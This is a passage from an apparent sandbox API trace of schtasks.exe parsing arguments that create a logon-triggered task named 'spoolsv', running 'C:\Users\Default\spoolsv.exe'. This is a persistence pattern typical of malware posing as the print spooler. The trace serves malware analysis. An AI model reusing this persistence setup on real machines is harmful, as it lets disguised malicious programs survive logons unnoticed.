_ArgList=0x1bf398 | out: _Buffer="|create|") returned 8 [0159.893] lstrlenW (lpString="|create|") returned 8 [0159.893] lstrlenW (lpString="|create|") returned 8 [0159.893] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0159.893] SetLastError (dwErrCode=0x0) [0159.893] SetLastError (dwErrCode=0x0) [0159.893] SetLastError (dwErrCode=0x0) [0159.893] lstrlenW (lpString="/tn") returned 3 [0159.893] lstrlenW (lpString="-/") returned 2 [0159.893] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.893] lstrlenW (lpString="?") returned 1 [0159.893] lstrlenW (lpString="?") returned 1 [0159.894] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.894] lstrlenW (lpString="tn") returned 2 [0159.894] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.894] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|?|") returned 3 [0159.894] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tn|") returned 4 [0159.894] lstrlenW (lpString="|?|") returned 3 [0159.894] lstrlenW (lpString="|tn|") returned 4 [0159.894] SetLastError (dwErrCode=0x490) [0159.894] lstrlenW (lpString="create") returned 6 [0159.894] lstrlenW (lpString="create") returned 6 [0159.894] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.894] lstrlenW (lpString="tn") returned 2 [0159.894] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.894] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|create|") returned 8 [0159.894] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tn|") returned 4 [0159.894] lstrlenW (lpString="|create|") returned 8 [0159.894] lstrlenW (lpString="|tn|") returned 4 [0159.894] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0159.894] SetLastError (dwErrCode=0x490) [0159.895] lstrlenW (lpString="delete") returned 6 [0159.895] lstrlenW (lpString="delete") returned 6 [0159.895] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.895] lstrlenW (lpString="tn") returned 2 [0159.895] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.895] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|delete|") returned 8 [0159.895] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tn|") returned 4 [0159.895] lstrlenW (lpString="|delete|") returned 8 [0159.895] lstrlenW (lpString="|tn|") returned 4 [0159.897] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0159.897] SetLastError (dwErrCode=0x490) [0159.897] lstrlenW (lpString="query") returned 5 [0159.897] lstrlenW (lpString="query") returned 5 [0159.897] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.897] lstrlenW (lpString="tn") returned 2 [0159.897] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.897] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|query|") returned 7 [0159.897] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tn|") returned 4 [0159.897] lstrlenW (lpString="|query|") returned 7 [0159.897] lstrlenW (lpString="|tn|") returned 4 [0159.897] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0159.897] SetLastError (dwErrCode=0x490) [0159.897] lstrlenW (lpString="change") returned 6 [0159.897] lstrlenW (lpString="change") returned 6 [0159.897] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.898] lstrlenW (lpString="tn") returned 2 [0159.898] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.898] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|change|") returned 8 [0159.898] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tn|") returned 4 [0159.898] lstrlenW (lpString="|change|") returned 8 [0159.898] lstrlenW (lpString="|tn|") returned 4 [0159.898] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0159.898] SetLastError (dwErrCode=0x490) [0159.898] lstrlenW (lpString="run") returned 3 [0159.898] lstrlenW (lpString="run") returned 3 [0159.898] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.898] lstrlenW (lpString="tn") returned 2 [0159.898] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.898] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|run|") returned 5 [0159.898] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tn|") returned 4 [0159.898] lstrlenW (lpString="|run|") returned 5 [0159.898] lstrlenW (lpString="|tn|") returned 4 [0159.898] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0159.898] SetLastError (dwErrCode=0x490) [0159.898] lstrlenW (lpString="end") returned 3 [0159.898] lstrlenW (lpString="end") returned 3 [0159.898] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.898] lstrlenW (lpString="tn") returned 2 [0159.898] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.898] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|end|") returned 5 [0159.898] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tn|") returned 4 [0159.898] lstrlenW (lpString="|end|") returned 5 [0159.898] lstrlenW (lpString="|tn|") returned 4 [0159.898] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0159.898] SetLastError (dwErrCode=0x490) [0159.898] lstrlenW (lpString="showsid") returned 7 [0159.898] lstrlenW (lpString="showsid") returned 7 [0159.899] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.899] GetProcessHeap () returned 0x230000 [0159.899] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1f0) returned 1 [0159.899] GetProcessHeap () returned 0x230000 [0159.899] RtlReAllocateHeap (Heap=0x230000, Flags=0xc, Ptr=0x24c1f0, Size=0x16) returned 0x24c1f0 [0159.899] lstrlenW (lpString="tn") returned 2 [0159.899] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.899] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|showsid|") returned 9 [0159.899] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tn|") returned 4 [0159.899] lstrlenW (lpString="|showsid|") returned 9 [0159.899] lstrlenW (lpString="|tn|") returned 4 [0159.899] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0159.899] SetLastError (dwErrCode=0x490) [0159.899] SetLastError (dwErrCode=0x490) [0159.899] SetLastError (dwErrCode=0x0) [0159.899] lstrlenW (lpString="/tn") returned 3 [0159.899] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0159.899] SetLastError (dwErrCode=0x490) [0159.899] SetLastError (dwErrCode=0x0) [0159.899] lstrlenW (lpString="/tn") returned 3 [0159.899] GetProcessHeap () returned 0x230000 [0159.899] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x8) returned 0x24c190 [0159.899] GetProcessHeap () returned 0x230000 [0159.899] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cba0 [0159.899] SetLastError (dwErrCode=0x0) [0159.899] SetLastError (dwErrCode=0x0) [0159.899] lstrlenW (lpString="spoolsv") returned 7 [0159.899] lstrlenW (lpString="-/") returned 2 [0159.899] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0159.899] SetLastError (dwErrCode=0x490) [0159.899] SetLastError (dwErrCode=0x490) [0159.899] SetLastError (dwErrCode=0x0) [0159.899] lstrlenW (lpString="spoolsv") returned 7 [0159.900] StrChrIW (lpStart="spoolsv", wMatch=0x3a) returned 0x0 [0159.900] SetLastError (dwErrCode=0x490) [0159.900] SetLastError (dwErrCode=0x0) [0159.900] lstrlenW (lpString="spoolsv") returned 7 [0159.900] GetProcessHeap () returned 0x230000 [0159.900] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x10) returned 0x24d490 [0159.900] GetProcessHeap () returned 0x230000 [0159.900] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cbd0 [0159.900] SetLastError (dwErrCode=0x0) [0159.900] SetLastError (dwErrCode=0x0) [0159.900] lstrlenW (lpString="/sc") returned 3 [0159.900] lstrlenW (lpString="-/") returned 2 [0159.900] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.900] lstrlenW (lpString="?") returned 1 [0159.900] lstrlenW (lpString="?") returned 1 [0159.900] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.900] lstrlenW (lpString="sc") returned 2 [0159.900] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.900] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|?|") returned 3 [0159.900] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|sc|") returned 4 [0159.900] lstrlenW (lpString="|?|") returned 3 [0159.900] lstrlenW (lpString="|sc|") returned 4 [0159.900] SetLastError (dwErrCode=0x490) [0159.900] lstrlenW (lpString="create") returned 6 [0159.900] lstrlenW (lpString="create") returned 6 [0159.900] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.900] lstrlenW (lpString="sc") returned 2 [0159.900] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.900] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|create|") returned 8 [0159.900] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|sc|") returned 4 [0159.900] lstrlenW (lpString="|create|") returned 8 [0159.900] lstrlenW (lpString="|sc|") returned 4 [0159.900] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0159.901] SetLastError (dwErrCode=0x490) [0159.901] lstrlenW (lpString="delete") returned 6 [0159.901] lstrlenW (lpString="delete") returned 6 [0159.901] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.901] lstrlenW (lpString="sc") returned 2 [0159.901] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.901] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|delete|") returned 8 [0159.901] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|sc|") returned 4 [0159.901] lstrlenW (lpString="|delete|") returned 8 [0159.901] lstrlenW (lpString="|sc|") returned 4 [0159.901] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0159.901] SetLastError (dwErrCode=0x490) [0159.901] lstrlenW (lpString="query") returned 5 [0159.901] lstrlenW (lpString="query") returned 5 [0159.901] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.901] lstrlenW (lpString="sc") returned 2 [0159.901] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.901] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|query|") returned 7 [0159.901] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|sc|") returned 4 [0159.901] lstrlenW (lpString="|query|") returned 7 [0159.901] lstrlenW (lpString="|sc|") returned 4 [0159.901] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0159.901] SetLastError (dwErrCode=0x490) [0159.901] lstrlenW (lpString="change") returned 6 [0159.901] lstrlenW (lpString="change") returned 6 [0159.901] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.901] lstrlenW (lpString="sc") returned 2 [0159.901] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.901] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|change|") returned 8 [0159.901] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|sc|") returned 4 [0159.901] lstrlenW (lpString="|change|") returned 8 [0159.902] lstrlenW (lpString="|sc|") returned 4 [0159.902] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0159.902] SetLastError (dwErrCode=0x490) [0159.902] lstrlenW (lpString="run") returned 3 [0159.902] lstrlenW (lpString="run") returned 3 [0159.902] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.902] lstrlenW (lpString="sc") returned 2 [0159.902] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.902] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|run|") returned 5 [0159.902] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|sc|") returned 4 [0159.902] lstrlenW (lpString="|run|") returned 5 [0159.902] lstrlenW (lpString="|sc|") returned 4 [0159.902] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0159.902] SetLastError (dwErrCode=0x490) [0159.902] lstrlenW (lpString="end") returned 3 [0159.902] lstrlenW (lpString="end") returned 3 [0159.902] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.902] lstrlenW (lpString="sc") returned 2 [0159.902] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.902] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|end|") returned 5 [0159.902] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|sc|") returned 4 [0159.902] lstrlenW (lpString="|end|") returned 5 [0159.902] lstrlenW (lpString="|sc|") returned 4 [0159.902] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0159.902] SetLastError (dwErrCode=0x490) [0159.902] lstrlenW (lpString="showsid") returned 7 [0159.902] lstrlenW (lpString="showsid") returned 7 [0159.903] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.903] lstrlenW (lpString="sc") returned 2 [0159.903] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.903] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|showsid|") returned 9 [0159.903] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|sc|") returned 4 [0159.903] lstrlenW (lpString="|showsid|") returned 9 [0159.903] lstrlenW (lpString="|sc|") returned 4 [0159.903] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0159.903] SetLastError (dwErrCode=0x490) [0159.903] SetLastError (dwErrCode=0x490) [0159.903] SetLastError (dwErrCode=0x0) [0159.903] lstrlenW (lpString="/sc") returned 3 [0159.903] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0159.903] SetLastError (dwErrCode=0x490) [0159.903] SetLastError (dwErrCode=0x0) [0159.903] lstrlenW (lpString="/sc") returned 3 [0159.903] GetProcessHeap () returned 0x230000 [0159.903] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x8) returned 0x24dc60 [0159.903] GetProcessHeap () returned 0x230000 [0159.903] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc00 [0159.903] SetLastError (dwErrCode=0x0) [0159.903] SetLastError (dwErrCode=0x0) [0159.903] lstrlenW (lpString="ONLOGON") returned 7 [0159.903] lstrlenW (lpString="-/") returned 2 [0159.903] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0159.903] SetLastError (dwErrCode=0x490) [0159.903] SetLastError (dwErrCode=0x490) [0159.903] SetLastError (dwErrCode=0x0) [0159.903] lstrlenW (lpString="ONLOGON") returned 7 [0159.903] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0159.903] SetLastError (dwErrCode=0x490) [0159.904] SetLastError (dwErrCode=0x0) [0159.904] lstrlenW (lpString="ONLOGON") returned 7 [0159.904] GetProcessHeap () returned 0x230000 [0159.904] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x10) returned 0x24d4b0 [0159.904] GetProcessHeap () returned 0x230000 [0159.904] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc30 [0159.904] SetLastError (dwErrCode=0x0) [0159.904] SetLastError (dwErrCode=0x0) [0159.904] lstrlenW (lpString="/tr") returned 3 [0159.904] lstrlenW (lpString="-/") returned 2 [0159.904] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.904] lstrlenW (lpString="?") returned 1 [0159.904] lstrlenW (lpString="?") returned 1 [0159.904] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.904] lstrlenW (lpString="tr") returned 2 [0159.904] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.904] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|?|") returned 3 [0159.904] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tr|") returned 4 [0159.904] lstrlenW (lpString="|?|") returned 3 [0159.904] lstrlenW (lpString="|tr|") returned 4 [0159.904] SetLastError (dwErrCode=0x490) [0159.904] lstrlenW (lpString="create") returned 6 [0159.904] lstrlenW (lpString="create") returned 6 [0159.904] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.904] lstrlenW (lpString="tr") returned 2 [0159.904] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.904] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|create|") returned 8 [0159.905] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tr|") returned 4 [0159.905] lstrlenW (lpString="|create|") returned 8 [0159.905] lstrlenW (lpString="|tr|") returned 4 [0159.905] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0159.905] SetLastError (dwErrCode=0x490) [0159.905] lstrlenW (lpString="delete") returned 6 [0159.905] lstrlenW (lpString="delete") returned 6 [0159.905] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.905] lstrlenW (lpString="tr") returned 2 [0159.905] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.905] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|delete|") returned 8 [0159.905] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tr|") returned 4 [0159.905] lstrlenW (lpString="|delete|") returned 8 [0159.905] lstrlenW (lpString="|tr|") returned 4 [0159.905] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0159.905] SetLastError (dwErrCode=0x490) [0159.905] lstrlenW (lpString="query") returned 5 [0159.905] lstrlenW (lpString="query") returned 5 [0159.905] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.905] lstrlenW (lpString="tr") returned 2 [0159.905] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.905] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|query|") returned 7 [0159.905] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tr|") returned 4 [0159.905] lstrlenW (lpString="|query|") returned 7 [0159.906] lstrlenW (lpString="|tr|") returned 4 [0159.906] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0159.906] SetLastError (dwErrCode=0x490) [0159.906] lstrlenW (lpString="change") returned 6 [0159.906] lstrlenW (lpString="change") returned 6 [0159.906] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.906] lstrlenW (lpString="tr") returned 2 [0159.906] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.906] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|change|") returned 8 [0159.906] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tr|") returned 4 [0159.906] lstrlenW (lpString="|change|") returned 8 [0159.906] lstrlenW (lpString="|tr|") returned 4 [0159.906] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0159.906] SetLastError (dwErrCode=0x490) [0159.906] lstrlenW (lpString="run") returned 3 [0159.906] lstrlenW (lpString="run") returned 3 [0159.906] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.906] lstrlenW (lpString="tr") returned 2 [0159.906] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.906] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|run|") returned 5 [0159.906] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tr|") returned 4 [0159.906] lstrlenW (lpString="|run|") returned 5 [0159.906] lstrlenW (lpString="|tr|") returned 4 [0159.907] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0159.907] SetLastError (dwErrCode=0x490) [0159.907] lstrlenW (lpString="end") returned 3 [0159.907] lstrlenW (lpString="end") returned 3 [0159.907] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.907] lstrlenW (lpString="tr") returned 2 [0159.907] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.907] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|end|") returned 5 [0159.907] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tr|") returned 4 [0159.907] lstrlenW (lpString="|end|") returned 5 [0159.907] lstrlenW (lpString="|tr|") returned 4 [0159.907] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0159.907] SetLastError (dwErrCode=0x490) [0159.907] lstrlenW (lpString="showsid") returned 7 [0159.907] lstrlenW (lpString="showsid") returned 7 [0159.907] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.907] lstrlenW (lpString="tr") returned 2 [0159.907] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.907] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|showsid|") returned 9 [0159.907] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|tr|") returned 4 [0159.907] lstrlenW (lpString="|showsid|") returned 9 [0159.907] lstrlenW (lpString="|tr|") returned 4 [0159.908] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0159.908] SetLastError (dwErrCode=0x490) [0159.908] SetLastError (dwErrCode=0x490) [0159.908] SetLastError (dwErrCode=0x0) [0159.908] lstrlenW (lpString="/tr") returned 3 [0159.908] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0159.908] SetLastError (dwErrCode=0x490) [0159.908] SetLastError (dwErrCode=0x0) [0159.908] lstrlenW (lpString="/tr") returned 3 [0159.908] GetProcessHeap () returned 0x230000 [0159.908] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x8) returned 0x24dc80 [0159.908] GetProcessHeap () returned 0x230000 [0159.908] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc60 [0159.908] SetLastError (dwErrCode=0x0) [0159.908] SetLastError (dwErrCode=0x0) [0159.908] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.908] lstrlenW (lpString="-/") returned 2 [0159.908] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0159.908] SetLastError (dwErrCode=0x490) [0159.908] SetLastError (dwErrCode=0x490) [0159.908] SetLastError (dwErrCode=0x0) [0159.909] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.909] StrChrIW (lpStart="'C:\\Users\\Default\\spoolsv.exe'", wMatch=0x3a) returned=":\\Users\\Default\\spoolsv.exe'" [0159.909] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.909] GetProcessHeap () returned 0x230000 [0159.909] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24d4d0 [0159.909] _memicmp (_Buf1=0x24d4d0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.909] GetProcessHeap () returned 0x230000 [0159.909] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xe) returned 0x24d4f0 [0159.909] GetProcessHeap () returned 0x230000 [0159.909] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24d510 [0159.909] _memicmp (_Buf1=0x24d510, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.909] GetProcessHeap () returned 0x230000 [0159.909] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x40) returned 0x249270 [0159.909] SetLastError (dwErrCode=0x7a) [0159.909] SetLastError (dwErrCode=0x0) [0159.909] SetLastError (dwErrCode=0x0) [0159.909] lstrlenW (lpString="'C") returned 2 [0159.909] lstrlenW (lpString="-/") returned 2 [0159.909] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0159.909] SetLastError (dwErrCode=0x490) [0159.909] SetLastError (dwErrCode=0x490) [0159.909] SetLastError (dwErrCode=0x0) [0159.909] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.909] GetProcessHeap () returned 0x230000 [0159.909] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x3e) returned 0x2492c0 [0159.909] GetProcessHeap () returned 0x230000 [0159.910] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc90 [0159.910] SetLastError (dwErrCode=0x0) [0159.910] SetLastError (dwErrCode=0x0) [0159.910] lstrlenW (lpString="/rl") returned 3 [0159.910] lstrlenW (lpString="-/") returned 2 [0159.910] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.910] lstrlenW (lpString="?") returned 1 